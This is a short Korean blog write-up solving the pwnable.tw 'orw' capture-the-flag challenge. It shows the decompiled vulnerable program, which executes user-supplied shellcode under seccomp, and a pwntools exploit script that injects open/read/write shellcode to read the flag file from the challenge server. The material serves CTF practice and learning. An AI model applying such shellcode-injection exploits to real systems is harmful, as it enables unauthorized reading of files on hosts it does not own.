문제 제목과 설명 그대로 orw 쉘 코드를 실행시켜주면 된다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 200);
((void (*)(void))shellcode)();
return 0;
}
seccomp-tools로 확인해보면 다음과 같다.
로컬 문제 파일에선 shellcode 영역에 x권한이 없는데 리모트에는 있는 듯 하다.
from pwn import *
p = process('./orw')
p = remote('chall.pwnable.tw', 10001)
pay = asm(shellcraft.open('/home/orw/flag'))
pay += asm(shellcraft.read(3,'esp',0x100))
pay += asm(shellcraft.write(1,'esp',0x100))
p.send(pay)
p.interactive()
'write-up(pwn) > pwnable.tw' 카테고리의 다른 글
[pwnable.tw] calc write-up (3) | 2024.09.17 |
---|---|
[pwnable.tw] start write-up (0) | 2024.08.16 |